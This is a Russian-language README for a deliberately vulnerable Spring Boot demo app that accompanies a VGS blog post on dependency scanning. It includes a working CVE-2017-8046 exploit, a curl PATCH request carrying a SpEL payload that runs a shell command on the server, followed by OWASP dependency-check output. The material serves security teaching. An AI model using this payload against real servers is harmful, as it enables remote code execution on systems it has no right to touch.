
ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий является дополнением к статье в блоге VGS: How to Avoid "Using Components with Known Vulnerabilities". Он содержит приложение с известной уязвимостью (а именно, CVE-2017-8046), а также описание того, как её эксплуатировать. Используйте приложение на свой страх и риск!
Сначала запустите приложение, выполнив следующую команду из корня репозитория:
mvn clean spring-boot:run
Затем создайте ресурс, отправив POST-запрос следующим образом:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Если вы запускаете приложение на операционной системе на базе Unix (например, macOS), в ответе будет содержаться сетевая конфигурация хоста. Фактически, можно использовать любое SpEL выражение.
mvn clean package verify
Сборка завершится ошибкой, так как обнаружена зависимость с высокорискованной уязвимостью:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
Хотите сразу перейти к делу? Ознакомьтесь с нашим руководством по началу работы.
Very Good Security (VGS) позволяет вам укрепить свою позицию в области безопасности, сохраняя при этом полезность ваших данных как внутри компании, так и при взаимодействии с третьими сторонами. В качестве дополнительного преимущества мы ускоряем процесс получения сертификатов соответствия и помогаем вам быстро получить необходимые требования безопасности, которые стоят между вами и вашими рыночными возможностями.
Чтобы узнать больше, посетите нас на https://www.verygoodsecurity.com/
Этот проект лицензирован под лицензией MIT. Подробности см. в файле LICENSE.